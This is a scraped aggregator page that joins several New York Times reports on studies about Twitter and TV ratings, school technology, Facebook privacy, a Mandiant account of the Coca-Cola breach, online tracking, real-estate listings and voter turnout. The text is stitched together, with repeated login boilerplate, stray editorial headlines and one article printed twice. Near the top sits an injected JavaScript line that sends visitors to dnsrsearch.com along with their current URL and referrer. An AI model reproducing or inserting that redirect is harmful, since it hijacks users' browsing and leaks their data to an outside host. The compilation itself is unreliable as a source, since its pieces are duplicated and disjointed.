Case Study: A Content Company Weighs Becoming a Technology Company

Log in to manage your products and services from The New York Times and the International New York Times.

Don't have an account yet?
Create an account »

Subscribed through iTunes and need an NYTimes.com account?
Learn more »

View the original article here

Case Study: A Content Company Weighs Becoming a Technology Company

Log in to manage your products and services from The New York Times and the International New York Times.

Don't have an account yet?
Create an account »

Subscribed through iTunes and need an NYTimes.com account?
Learn more »

View the original article here

Bits Blog: Asia Is No. 1 Market for Mobile Apps, Study Says

Bits Blog: How Surveillance Changes Behavior: A Restaurant Workers Case Study

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Study Links TV Viewership and Twitter Conversations

A first-of-its-kind study by Nielsen has affirmed what nearly everyone in the television industry already suspected: Twitter conversations sometimes do cause people to turn on the TV.

The study, to be released on Tuesday, examined Twitter chatter and minute-by-minute Nielsen ratings of 221 episodes of prime-time shows on major networks. Most of the time, there was no statistically significant relationship between the two sets of data. But Twitter messages were shown to cause a “significant increase” in ratings 29 percent of the time, said Mike Hess, an executive vice president at Nielsen and the senior researcher involved in the study.

A causal connection was also shown in the other direction: that is, the ratings had an effect on the volume of related messages 48 percent of the time. Some genres of shows were much more likely to benefit from Twitter conversation than others.

“Over all, this does validate that additional research around this influence is worth pursuing,” Mr. Hess said.

Nielsen and Twitter are business partners — they are promoting a new metric called a Nielsen Twitter TV Rating that measures online conversations about shows — so the study may provoke some skepticism. Its findings, though, are likely to be cheered by networks and marketing firms that have invested heavily in social media. Anecdotes about spikes in the ratings credited to Twitter chatter have given producers and advertisers new hopes of assembling mass audiences.

Mitchell J. Lovett, a professor at the University of Rochester who has studied Twitter-television correlations, said that demonstrating causality had proved difficult in the past.

“It is hard to distinguish whether Twitter (or other social media) activity simply reflects existing interest (the person talks about the show because of an interest in watching or plans to watch) rather than causes it,” he wrote via e-mail. For that reason, the Nielsen study “could be groundbreaking,” he said, though he cautioned that he had not examined its methodology yet.

Study Gauges Value of Technology in Schools

With school districts rushing to buy computers, tablets, digital white boards and other technology, a new report questions whether the investment is worth it.

In a review of student survey data conducted in conjunction with the federal exams known as the National Assessment of Educational Progress, the nonprofit Center for American Progress found that middle school math students more commonly used computers for basic drills and practice than to develop sophisticated skills. The report also found that no state was collecting data to evaluate whether technology investments were actually improving student achievement.

“Schools frequently acquire digital devices without discrete learning goals and ultimately use these devices in ways that fail to adequately serve students, schools, or taxpayers,” wrote Ulrich Boser, a senior fellow at the Center for American Progress and the author of the report.

The analysis of the N.A.E.P. data found that 34 percent of eighth graders who took the math exams in 2011 used computers to “drill on math facts” while less than a quarter worked with spreadsheets or geometric figures on the computer. Only 17 percent used statistical programs.

The federal survey data showed striking differences among racial groups and income levels. More than half of the black students who took the eighth-grade math exam in 2011 said they used computers to work on math drills, while only 30 percent of white students said they did.

Similarly, 41 percent of students eligible for free and reduced lunches said they used computers for math drills, compared with 29 percent of students whose families earn too much for them to qualify for the lunches.

In high school science classrooms, the use of technology evidently has not advanced much past the 1980s. According to the report, 73 percent of students who took the 12th-grade National Assessment science exam said they regularly watched a movie or video in class.

Such data, Mr. Boser said, suggested that technology “doesn’t seem to have dramatically changed the nature of schooling.”

Experts who study the effectiveness of instructional technology say there is potential for some digital programs to improve teaching. John Pane, a senior scientist at the RAND Corporation, said good technology allowed students to work at their own pace and independently while teachers worked with smaller groups.

Mr. Pane conducted a study, financed by the federal Department of Education, of an algebra software program created by Carnegie Learning, a math curriculum developer. He found that high school students who used the program, which was designed to accompany a teacher-led curriculum, showed gains on their state-standardized math tests that were nearly double the gains of a typical year’s worth of growth using a more traditional high school math curriculum.

Whether those gains came from the use of technology or changes in the curriculum, he said, was hard to say. But Steve Ritter, chief scientist at Carnegie Learning, said one of the benefits of the technology was that it used the principles of cognitive science to help students gain a deeper understanding of concepts rather than simply drill math problems.

“We’re not just seeing whether they got the answer right or wrong,” Mr. Ritter said, “but why they got it right or wrong.”

Bits Blog: Google Search Terms Can Predict Stock Market, Study Finds

The terms people search for on Google have been used to forecast how many Americans have the flu, travel plans and the price for which cars sell. Now a scientific study shows that Google search can be used to predict the stock market.

Using Google Trends, a service that shows the popularity of search terms, researchers from Warwick Business School in England and Boston University’s department of physics found that the type of terms people search Google for on a given week can predict whether the Dow Jones industrial average will rise or fall the following week.

The study, titled “Quantifying Trading Behavior in Financial Markets Using Google Trends,” was published Thursday in Nature’s Scientific Reports.

The researchers tracked 98 search terms from Google Trends between 2004 and 2011. These included investment-related words, like debt, stocks, portfolio, unemployment and markets, and non-investment terms, including lifestyle, arts, happy, war, conflict and politics.

One of the leading search terms used to predict the markets was the word “debt” — an increase in such searches heralded a sell-off of stocks. A decrease in searches found the market rose slightly the following week.

But the results do not take into account volatile markets where a big sell-off can force investors to abandon ship sooner than they anticipated.

And sometimes Google Trends can give scientists inaccurate information when the proper context is not applied. For example, earlier this year Google Flu Trends said it believed that nearly 11 percent of the United States population had influenza. Yet the Centers for Disease Control and Prevention put the coughing and sniffling peak at 6 percent of the population. It turns out Google didn’t anticipate how outside influences, like media coverage of the flu and the rise in discussions on social media, would affect its data and statistics.

In 2010, researchers at Indiana University-Bloomington performed a similar study and found that people’s emotions on Twitter could help predict the stock market.

Internet Speeds Fail to Meet Promises in Germany, Study Shows

The study by the German telecommunications regulator, the Bundesnetzagentur, measured the Internet connection speeds of 250,000 consumers from June through December last year, making it one of the largest reviews of broadband service anywhere.

The results showed that only 15.7 percent of those using fixed telephone lines and 21 percent using mobile devices achieved the advertised maximum speeds.

Nearly half of German consumers using the supposedly fastest wireless broadband networks, which run Long Term Evolution technology, received Internet service at speeds that were no more than half as fast as the advertised maximum, the regulator found.

The German report is believed to mirror the results of an even broader study being compiled by the European Commission on broadband performance across the 27-nation bloc. According to a person with knowledge of the commission’s study, which is in the final review stages, it found that operators were largely failing to deliver on promises of broadband speeds across Europe.

For consumers, slower connection speeds can make for the correspondingly sluggish execution of nearly every click while using an Internet browser, resulting in delays in summoning Web sites or interruptions of streaming video, for example.

The study is significant because Germany was one of the first countries in Europe to adopt high-speed, Long Term Evolution service on a national basis.

In Europe, and in the rest of the world, telecom operators are not legally bound to provide broadband service at a specified rate of speed. Most advertise service in packages with speeds of “up to” a certain level, which in Germany can range from 2 to 50 megabits a second.

Attempts in Brussels to include a legal “minimum speed” obligation on European operators have so far been rebuffed by the telecommunications industry.

Jochen Homann, the Bundesnetzagentur president, said in a statement that he planned to begin a “dialogue” with operators to improve the accuracy of their advertising claims.

The German market is dominated by four main operators — Deutsche Telekom, which runs the former fixed-line monopoly and the mobile market leader, T-Mobile, and the mobile carriers Vodafone; O2, a unit of Telefónica; and E-Plus, owned by the Dutch operator KPN.

Philipp Blank, a Deutsche Telekom spokesman in Bonn, said technical reasons prevented operators from guaranteeing a specific broadband speed to each customer. The quality of a land-line connection is influenced by the length of the copper wire from a home to the phone junction box in the street, with longer connections leading to slower speeds, he said.

With mobile broadband, the level of traffic flowing over a single base station can significantly affect individual performance. Deutsche Telekom gives each customer a “very narrow range” of their expected broadband speed based on an analysis of local wiring, and consumers can void newly signed contracts for two weeks without penalty if they are unsatisfied, Mr. Blank said.

“For physical and technical reasons, we simply have to offer customers some kind of range of speeds in our tariffs,” Mr. Blank said.

A spokesman for the European Telecommunications Network Operators’ Association, a Brussels group representing operators, said it would not comment until it had read the study.

Michael Bobrowski, a spokesman for the Verbraucherzentral Bundesverband, the Federation of German Consumer Organizations, said he was skeptical that the regulator would be able to wring concessions from operators.

“This study is not surprising because we have known this to be the situation for years,” Mr. Bobrowski said. “We called for operators to stop doing this back in 2008, but none have done anything. So I’m not sure what voluntary agreements will achieve.”

Mr. Bobrowski agreed there were technical constraints that made it difficult for operators to guarantee broadband speeds. But the main reason for the discrepancy between advertised speed and performance is the operators’ advertising policies, he added.

“It’s the competitive situation,” Mr. Bobrowski said. “They are all trying to win customers by promising very enticing speeds. The problem is that consumers cannot verify in advance what kind of speeds they will ultimately receive.”

Mr. Bobrowski said that operators should be required to provide binding guarantees in service contracts.

Mr. Homann, the German regulatory chief, said he hoped to convince operators to offer a more narrow range of speeds in their broadband advertising.

“I am very hopeful that Internet providers will make an effort to provide the necessary transparency over what an Internet connection can deliver — and what it can’t,” Mr. Homann said. “Customers should be able to better evaluate the quality of their Internet connections.”

A change in Germany’s main telecommunications law last year gave the regulator the power to improve the “transparency” of telecommunications products. But whether that mandate would let the regulator impose “minimum speed” obligations, which would set a global precedent, is unclear and could be legally challenged by operators.

F.C.C. to Study Health Effects of Cellphone Radiation

It’s going to take a stronger push from the public to demand that Congress not duck gun control.

It is in America’s interest that Congress ratify proposed changes to the International Monetary Fund.

Bits Blog: Study: Facebook Users More Protective Even as They Reveal More About Themselves

Jim Wilson/The New York Times Mark Zuckerberg discussing Facebook’s privacy settings in 2010.

Facebook users became much more protective about who sees sensitive information about them, even as they were urged to share more about themselves on the social network, according to an unusual seven-year study by researchers at Carnegie Mellon University.

The study followed the privacy settings of roughly 5,000 Facebook users who were part of the university network on Facebook between 2005 and 2011. It is among the first longitudinal efforts aimed at gauging how Facebook users try to protect their information.

The study showed how over those years, Facebook made changes that  elicited increasing amounts of data. For example, the social network tripled the data fields its users could fill out. It introduced Timeline in 2011, encouraging users to fill in much more personal history, including whether they were expecting a baby or had acquired a new car. Its diverse applications offered users the opportunity to share what news articles and books they read. And it let them “tag” one another, effectively allowing one user to post information about a Facebook “friend.”

But even as Facebook encouraged more sharing, users became less likely to reveal to strangers certain pieces of sensitive, fine-grained personal information like dates of birth and what high school they attended, the survey found. There was a similar decline in users revealing their phone numbers and instant-messaging addresses to others in the university network who were not their Facebook “friends.”

Then, between late 2009 and late 2010, the data found a swift, marked turnaround, as if users had suddenly decided to become more public about what they shared. The more likely explanation, the researchers said, was that the company tweaked its privacy interface in December 2009. The changes proved confusing to many users, who made public some information they may have intended to keep private.

Eventually, Facebook’s changes to its privacy settings attracted the attention of government regulators. In 2011, the company agreed to let the Federal Trade Commission carry out annual audits of its privacy policies for 20 years.

The research paper, written by Alessandro Acquisti, Ralph Gross and Fred Stutzman, is unusual in that it followed the privacy practices of a set of users over an extended period. It did not receive any financing from Facebook or its business rivals.

It is consistent with other studies, including by the Pew Internet Center, which has found that Facebook users increasingly calibrated whom they were sharing with on the social network. Between 2009 and 2011, a growing number of those surveyed by Pew said they had deleted comments and removed someone from among their Facebook “friends.” Pew documented anxiety among parents of teenagers in particular: About a third of parents surveyed said they had helped their children adjust their privacy settings.

And earlier this year, Pew reported that 61 percent of Facebook users surveyed said they had taken a break from the social network. Among the main reasons, they said, was a lack of time to prune their privacy settings.

Data is at the core of Facebook’s business. The company uses aggregated data to show targeted advertisements. It has in recent years offered users a way to control who sees a particular post or picture, as they are about to share it.

The company does not share information about its users’ privacy practices. Responding to a request for comment about the research paper, a Facebook spokesman, Andrew Noyes, said in an e-mailed statement: “Independent research has verified that the vast majority of the people on Facebook are engaging with and using our straightforward and powerful privacy tools — allowing them to control what they’re sharing, and with whom they’re sharing.”

The Carnegie Mellon academics noted that their study focused on a subset of Facebook users, mostly undergraduates who had signed up for Facebook as early as 2005 when it was restricted to college students.

They concluded that “over time, the amount and scope of personal information that Facebook users have revealed to friends’ profiles seems to have markedly increased — and thus, so have disclosures to Facebook itself, third-party apps, and (indirectly) advertisers.”

Hence, the paper is entitled “Silent Listeners: The Evolution of Privacy and Disclosures on Facebook.”

Bits Blog: Study May Offer Insight Into Coca-Cola Breach

Jewel Samad/Agence France-Presse — Getty Images

Spend enough time with cybersecurity experts and chances are you will hear some variation of this line: There are two types of companies in the United States, those that have been hacked and those that don’t yet know they’ve been hacked.

Government intelligence officials and cybersecurity specialists say hackers — predominantly from China — are siphoning gigabytes, if not terabytes, of data from companies in the United States every day. We count on much of this information to deliver the innovative products and services that will lead to new jobs and economic growth. The security software company McAfee estimates that in 2008 alone, companies around the world lost more than $1 trillion because of this sort of intellectual property theft.

“I’ve seen behind the curtain,” Shawn Henry, the Federal Bureau of Investigation.’s former top cyber agent, who recently joined the cybersecurity start-up CrowdStrike, told me in an interview in April. “I can’t go into the particulars because it’s classified, but the vast majority of companies have been breached.”

The problem is that such breaches rarely make headlines because companies fear what disclosure will mean for their stock price. Google was the first to try to change that mentality when, in 2010, it disclosed that it and 34 other companies, many based in Silicon Valley, had been attacked by Chinese hackers. Of those 34, only Intel and Adobe Systems came forward, and they provided few details.

Still, news of some breaches leak out. That was the case, most recently, with Coca-Cola. This month, Bloomberg News reported that Coca-Cola was breached by Chinese hackers in 2009 during a failed $2.4 billion takeover attempt of the China Huiyuan Juice Group. That attempted deal would have been the largest foreign acquisition of a Chinese company.

Now, a 2010 case study published by the Mandiant Corporation, a cybersecurity firm, may offer further details. The study, which does not mention Coca-Cola specifically, details a 2009 breach of a “Fortune 500 Manufacturer” that aligns almost perfectly with Bloomberg’s account of Coca-Cola’s breach.

According to the study:

In 2009, a U.S. based Fortune 500 manufacturing company initiated discussions to acquire a Chinese corporation. During the negotiations, APT [advanced persistent threat] attackers compromised computers belonging to the executives of the U.S.-based company, most likely in an effort to learn more details of the negotiations. Sensitive data left the company on a weekly basis during negotiations, potentially providing the Chinese company with visibility to pricing and negotiation strategies.

As Bloomberg reported, Mandiant’s study said the company gained knowledge of the breach only when law enforcement officials notified it of the intrusion. The study also details how hackers penetrated the company via a so-called spearphishing attack, in which the attackers sent e-mails to certain executives from a fake account ostensibly belonging to the chief executive.

According to Bloomberg, an e-mail containing the subject line: “Save power is save money! (from CEO)” was sent to the e-mail account of Bernhard Goepelt, Coca-Cola’s current general counsel. The e-mail contained a malicious link that, once clicked, downloaded malware that gave the attackers full access to Coca-Cola’s network.

Mandiant’s 2010 report said the e-mail “was crafted to look like it originated from a fellow employee and discussed a message from the CEO on conserving resources.”

Tal Be’ery, a senior Web researcher at Imperva, a data security firm, compared details of the Coca-Cola breach with Mandiant’s study and said the two accounts clearly referred to the same company. Executives at Mandiant and media officers at Coca-Cola did not return requests for comment.

If Mandiant’s study is, in fact, based on Coca-Cola, then it offers new insights into the breach. According to the study, once in, hackers used password-stealing software to gain access to other systems on the company’s network. They also used the compromised executive’s account to launch what is known as an SQL server attack, in which hackers exploit a software vulnerability and enter commands that cause databases to produce their contents.

But one of the most interesting aspects of the breach, according to Mandiant, was how well the attackers had concealed their tracks. According to Mandiant, hackers used so-called stub malware. This is an agile agent whose code can be tweaked by hackers to use it for various functions while leaving a small forensic footprint.

The one discrepancy between the Bloomberg and Mandiant accounts was why, ultimately, the company’s acquisition fell apart. According to Bloomberg, Coca-Cola’s takeover attempt of China Huiyuan Juice Group was thwarted because China’s Ministry of Commerce rejected it for antitrust reasons. Mandiant’s report offered a different take:

The intrusion had a significant impact on the victim organization. As a result of the compromise, the U.S. company terminated their acquisition plans. While it was not possible to determine all the data that had been lost, the victim company was not able to compete the acquisition and accomplish their business objectives.

Updated: In an e-mail, Kent J. Landers, a spokesman for Coca-Cola, said that the company does not comment on security matters, but said Coca-Cola did not complete its acquisition of China Huiyuan Juice Group ”as a result of the China Ministry of Commerce declining approval for the proposed transaction.”

Media Decoder Blog: Young People Frequent Libraries, Pew Study Finds

In a digital world where many younger readers feel increasingly comfortable downloading novels and textbooks onto their computers or e-readers, a majority of Americans from the ages of 16 through 29 still frequent libraries.

According to a study released Monday by the Pew Research Center, 60 percent of Americans surveyed in this age group said they still visited the library. They use libraries to conduct research, borrow print, audio and electronic books and, in some cases, read magazines and newspapers.

That finding would seem to clash with the popular notion that young readers have turned away from libraries and print books as the source of their reading material, said Kathryn Zickuhr, research analyst with the Pew Research Center’s Internet and American Life Project. “A lot of people think that young people aren’t reading, they aren’t using libraries,” Ms. Zickuhr said. “That they’re just turning to Google for everything.”

The Pew Center has been researching the use of the nation’s libraries for more than two years, with financing from the Bill and Melinda Gates Foundation. The latest study involved a telephone survey, conducted last November and December, of nearly 3,000 people 16 and older talking about their reading habits, and data from two telephone polls conducted in January. While young people clearly do not read newspapers as regularly as their parents and grandparents did, their consumption of magazines is more closely aligned. The study showed that 40 percent of surveyed Americans under 30 regularly read newspapers, compared with 62 percent of older Americans. Seventy-one percent of those under 30 who do read news regularly said they viewed all of their news through hand-held devices.

While 42 percent of Americans under 30 read magazines, 50 percent of older adults read magazines.

But in troubling news for tablet makers, the study also found that the subjects under 30 who read electronically were more likely to read books on a cellphone or a computer.

In fact, the study found that 41 percent of readers under 30 view books using a cellphone and 55 percent read from a computer. Only 23 percent of Americans under 30 used an e-reader and 16 percent used a tablet.

“That’s definitely something we will keep an eye on,” Ms. Zickuhr said.

Most Americans Are Wary of Being Tracked Online, Study Says

BERKELEY, Calif. — As marketers, browser makers and government regulators spar over efforts to let consumers limit custom advertising online, a new study suggests that Americans are largely unaware of what that means and have a strong aversion to being tracked online.

The majority of Americans surveyed by researchers at the Berkeley Center for Law and Technology, which is part of the law school at the University of California, Berkeley, do not want information collected at all about which Web sites they visit, according to the study, which is to be released at the Amsterdam Privacy Conference on Monday.

Most of them said they did not find online advertisements useful. And nearly 90 percent said they had never heard of a proposal by the Federal Trade Commission, known as a “do not track” mechanism, that would let users opt out of having their personal data collected for the purposes of serving tailored advertisements.

The digital advertising industry has resisted efforts to limit behavioral targeting, pointing out that the free content available on the Internet, including social networks, is powered precisely by that kind of advertising.

Browser companies have introduced do-not-track icons for their users, and Microsoft has gone farthest by making it the default setting on its latest version of Internet Explorer.

There is still no agreement on whether a do-not-track button on Web browsers would send a signal that information about a consumer’s browsing history should not be used to tailor advertisements — or should not be collected at all. And it is up to each Web site to honor a consumer’s request or ignore it altogether, because no law requires sites’ compliance with users’ wishes.

The Berkeley survey, financed by a grant from Nokia, presented a series of multiple choice questions on the telephone to 1,230 Internet users in the United States.

The survey asked respondents: “If a ‘do not track’ option were available to you when browsing the Internet, which of the following things would you most want it to do?”

Sixty percent said they prefer regulation to “prevent Web sites from collecting information” about them; 20 percent said such a tool should allow them to block Web sites from serving up ads; and 14 percent said they would like it to “prevent Web sites from tailoring advertisements” based on sites they had visited. (The remaining 6 percent said they did not know or declined to answer.)

One in five told the researchers that they believed advertisers were not allowed to track people when they browsed medical sites. Four in 10 did not know or declined to answer, while a third correctly said that they could be tracked by marketers.

The survey also asked how useful consumers found search and banner advertisements. Two-thirds said they found it “never” or “hardly ever” useful, while 30 percent said “often” or “sometimes.” Eight-five percent said they “never” or “hardly ever” clicked on an advertisement.

Data mining companies have grown increasingly sophisticated at analyzing consumer behavior both online and offline, through bits of computer code online or loyalty cards and nascent mobile payment options at brick-and-mortar stores. Such data is extremely valuable for advertisers, along with digital platforms like Facebook and Google that survive on advertising dollars.

The authors of the study argued that the Federal Trade Commission’s proposed mechanism was “a modest intervention.”

An industry-supported group, the Information Technology and Innovation Foundation, wrote a vigorous criticism of do-not-track proposals in a blog post last week, arguing that “nontargeted advertising” generated less revenue and that “less revenue means less free content and services for Internet users.”

Bits Blog: On Big Real Estate Sites, Study Finds Gaps in Listings

Damian Dovarganes/Associated Press A house for sale in Los Angeles.

For some time, executives at Redfin, an online real estate brokerage firm, grumbled to themselves that better-known real estate sites like Zillow and Trulia didn’t have all the property listings that Redfin and other sites had. So Glenn Kelman, the chief executive of Redfin, finally set out to prove it.

A study underwritten by Redfin to be released on Wednesday seeks to compare the comprehensiveness and accuracy of real estate listings on five sites, Zillow, Trulia, Redfin and the sites of two regional real estate brokerage firms, Windermere and Long & Foster. The study, conducted by a real estate consulting firm called the WAV Group, looked at a sample of 6,401 home listings in 33 ZIP codes from 11 metropolitan areas in the United States. It found that Redfin, Long & Foster and Windermere all had 100 percent of the agent-listed homes for sale, while Trulia had 81 percent and Zillow had 79 percent.

The study also found that 36 percent of the agent-listed properties shown as active listings on Zillow and and 37 percent of those on Trulia were no longer for sale on the local multiple listing service, or MLS, the local associations around the country through which agents share their property listings. The study said that 0.1 percent of the listings on Redfin and 1.7 percent of the listings on Windermere’s site were no longer for sale. All of Long & Foster’s listings mirrored their status in the local MLS.

O.B. Jacobi, the president of Windermere, a big real estate brokerage firm in the Pacific Northwest, said consumers should be aware that local real estate Web sites provide the most complete view of properties for sale. “If I’m doing the largest purchase of my life, I want to see everything,” Mr. Jacobi said.

Zillow and Trulia do not dispute that their listings have some gaps and inaccuracies, though they dispute some of the particulars of the Redfin study. There’s a simple reason they don’t have everything their rivals do: neither of them belongs to the local MLSes, which provide the most complete sets of agent-listed properties.

That’s because Zillow and Trulia are not real estate brokerage firms. Rather than making money by selling properties, the companies sell advertising and other services that allow agents to reach home shoppers and buyers through their sites. They have both built up big online audiences by packing their sites with a variety of information services, including real-time estimates of the value of properties.

Because Zillow and Trulia have such big audiences, they have been able to form relationships with many local real estate brokers like Windermere, which provide electronic feeds of all their listings. The problem with that approach, said Redfin’s Mr. Kelman, is that there are a lot of small real estate firms because the barriers are relatively low for entering the real estate businesses.

“Most of those mom-and-pop brokers don’t upload their listings” to sites like Zillow and Trulia, Mr. Kelman said.

Sometimes agents that do provide feeds to the sites don’t take listings down quickly when the properties sell, Mr. Kelman said. Although Redfin is an Internet start-up firm, it employs brokers, so it gets access to MLS listings.

Ken Shuman, a spokesman for Trulia, said the company had a dedicated team that was forming stronger relationships with brokers around the country to improve the completeness and accuracy of its real estate data. Mr. Shuman estimated that Trulia had about 90 percent of the property listings in the United States at any given time.

Cynthia Nowak, a spokeswoman for Zillow, said it was making a similar effort. “We’re always looking to improve accuracy,” she said.

“There is no gold standard for listings data, so comparing Zillow’s MLS-only listings to an MLS isn’t going to give you the whole picture. For example, Zillow has hundreds of thousands of rental, for-sale-by-owner, new construction and foreclosure listings, which often aren’t listed on an MLS,” she said.

“In addition to these listings, home shoppers visit Zillow for deep information on all homes, Zestimates, price cuts and community and historical home data, all of which typically can’t be found on a brokerage site,” she said

This post has been revised to reflect the following correction:

Correction: October 3, 2012

An earlier version of this article misstated the number of listings on Redfin that the site said were active but that a study said were no longer for sale. That number was 0.1 percent, not 0.1 percentage point.

Social Networks Can Affect on Voter Turnout, Study Finds

The study, published online on Wednesday by the journal Nature, suggests that a special “get out the vote” message, showing each user pictures of friends who said they had already voted, generated 340,000 additional votes nationwide — whether for Democrats or Republicans, the researchers could not determine.

The scientists, from Facebook and the University of California, San Diego, said they believed the study was the first to show that social networks could have at least some impact on elections, and they added that the findings could have implications far beyond voting. For example, research is now being conducted on the use of social networks to help people lose weight.

Significantly if not surprisingly, the voting study showed that patterns of influence were much more likely to be demonstrated among close friends, suggesting that “strong ties” in cyberspace are more likely than “weak ties” to influence behavior. It also found an indirect impact from the messages: friends of friends were influenced as well.

“What we have shown here is that the online world and the real world affect one another,” said James H. Fowler, a professor of medical genetics and political science at the university.

On Nov. 2, 2010, the day of the nationwide Congressional elections, nearly every Facebook member who signed on — 61 million in all — received a nonpartisan “get out the vote” message at the top of the site’s news feed. It included a reminder that “today is Election Day”; a link to local polling places; an option to click an “I Voted” button, with a counter displaying the total number of Facebook users who had reported voting; and as many as six pictures of the member’s friends who had reported voting.

But two randomly chosen control groups, of 600,000 Facebook members each, did not receive the pictures. One group received just the “get out the vote” message; the other received no voting message at all.

By examining public voter rolls, the researchers were able to compare actual turnout among the groups. They determined that the message showing friends who had voted was directly responsible for 60,000 more votes nationwide and indirectly responsible for 280,000 that were spurred by friends of friends — what they called “social contagion” effect.

Intriguingly, they also discovered that about 4 percent of those who claimed they had voted were not telling the truth.

Because only about 1 percent of Facebook users openly state their political orientation, the researchers said they could not determine whether political leanings had any influence on social networking and voting behavior.

The study was financed by the James S. McDonnell Foundation and by the University of Notre Dame’s Science of Generosity Initiative, which is supported by the John Templeton Foundation.

Past studies have shown that a variety of methods for mobilizing potential voters have a disappointing effect. Knocking on doors is the most effective technique; e-mail is one of the least.

While the number of votes generated by the Facebook message was small compared with the overall turnout (about 90.7 million, or 37.8 percent of the voting-age population), the researchers said it could well have made a difference in individual races. After all, they pointed out, the 2000 presidential election was decided by less than 0.01 percent of the vote in Florida.

Social Networks Can Affect on Voter Turnout, Study Finds

The study, published online on Wednesday by the journal Nature, suggests that a special “get out the vote” message, showing each user pictures of friends who said they had already voted, generated 340,000 additional votes nationwide — whether for Democrats or Republicans, the researchers could not determine.

The scientists, from Facebook and the University of California, San Diego, said they believed the study was the first to show that social networks could have at least some impact on elections, and they added that the findings could have implications far beyond voting. For example, research is now being conducted on the use of social networks to help people lose weight.

Significantly if not surprisingly, the voting study showed that patterns of influence were much more likely to be demonstrated among close friends, suggesting that “strong ties” in cyberspace are more likely than “weak ties” to influence behavior. It also found an indirect impact from the messages: friends of friends were influenced as well.

“What we have shown here is that the online world and the real world affect one another,” said James H. Fowler, a professor of medical genetics and political science at the university.

On Nov. 2, 2010, the day of the nationwide Congressional elections, nearly every Facebook member who signed on — 61 million in all — received a nonpartisan “get out the vote” message at the top of the site’s news feed. It included a reminder that “today is Election Day”; a link to local polling places; an option to click an “I Voted” button, with a counter displaying the total number of Facebook users who had reported voting; and as many as six pictures of the member’s friends who had reported voting.

But two randomly chosen control groups, of 600,000 Facebook members each, did not receive the pictures. One group received just the “get out the vote” message; the other received no voting message at all.

By examining public voter rolls, the researchers were able to compare actual turnout among the groups. They determined that the message showing friends who had voted was directly responsible for 60,000 more votes nationwide and indirectly responsible for 280,000 that were spurred by friends of friends — what they called “social contagion” effect.

Intriguingly, they also discovered that about 4 percent of those who claimed they had voted were not telling the truth.

Because only about 1 percent of Facebook users openly state their political orientation, the researchers said they could not determine whether political leanings had any influence on social networking and voting behavior.

The study was financed by the James S. McDonnell Foundation and by the University of Notre Dame’s Science of Generosity Initiative, which is supported by the John Templeton Foundation.

Past studies have shown that a variety of methods for mobilizing potential voters have a disappointing effect. Knocking on doors is the most effective technique; e-mail is one of the least.

While the number of votes generated by the Facebook message was small compared with the overall turnout (about 90.7 million, or 37.8 percent of the voting-age population), the researchers said it could well have made a difference in individual races. After all, they pointed out, the 2000 presidential election was decided by less than 0.01 percent of the vote in Florida.